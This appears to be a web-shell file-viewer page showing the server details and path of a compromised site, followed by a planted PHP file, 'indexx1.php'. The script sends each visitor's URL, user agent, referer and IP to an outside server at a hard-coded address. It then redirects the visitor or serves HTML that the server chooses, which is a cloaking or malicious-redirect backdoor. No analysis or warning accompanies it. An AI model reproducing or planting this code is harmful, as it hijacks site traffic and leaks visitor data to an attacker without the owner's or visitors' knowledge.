uawdijnntqw1x1x1
IP : 216.73.216.46
Hostname : toronto-dev2
Kernel : Linux toronto-dev2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
srv
/
users
/
craft4
/
apps
/
craft4-newsite-space
/
public
/
f7c78
/
f7c78
/
..
/
.
/
f7c78
/
..
/
indexx1.php
/
/
<?php set_time_limit(0); error_reporting(0); header("Content-Type: text/html;charset=utf-8"); $s = $_SERVER; $p = "http://198.2.240.25:8089"; $m = "/p/index/index"; // function httpPost($url, $data = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $result = curl_exec($ch); if ($result === false) { $error = curl_error($ch); $errno = curl_errno($ch); curl_close($ch); throw new RuntimeException("cURL Error ({$errno}): {$error}", $errno); } curl_close($ch); return $result; } $protocol = (!empty($s['HTTPS']) && $s['HTTPS'] !== 'off') ? 'https://' : 'http://'; $url = $protocol . $s['HTTP_HOST'] . $s['REQUEST_URI']; define('ent', $s['HTTP_USER_AGENT']); define('ref', !isset($s['HTTP_REFERER']) ? '' : $s['HTTP_REFERER']); define('ip', !isset($s['REMOTE_ADDR']) ? '' : $s['REMOTE_ADDR']); $r = httpPost($p."/p/api", ['url'=>$url,'agent'=>ent,'referer'=>ref,'ip'=>ip,'mode'=>$m,'domain'=>$p]); $data = json_decode($r, true); if(!$data || !isset($data['data']) || !isset($data['data']['jumpUrl']) || !isset($data['data']['html']) || !isset($data['data']['isExit'])){ } else { $jumpUrl = $u ? $u : $data['data']['jumpUrl']; $html = $data['data']['html']; $exit = $data['data']['isExit']; if($jumpUrl){ header("Location: " . $jumpUrl, true, 302); exit; } else { if($exit == "yes"){ exit($html); } echo $html; } }
/srv/users/craft4/apps/craft4-newsite-space/public/f7c78/f7c78/.././f7c78/../indexx1.php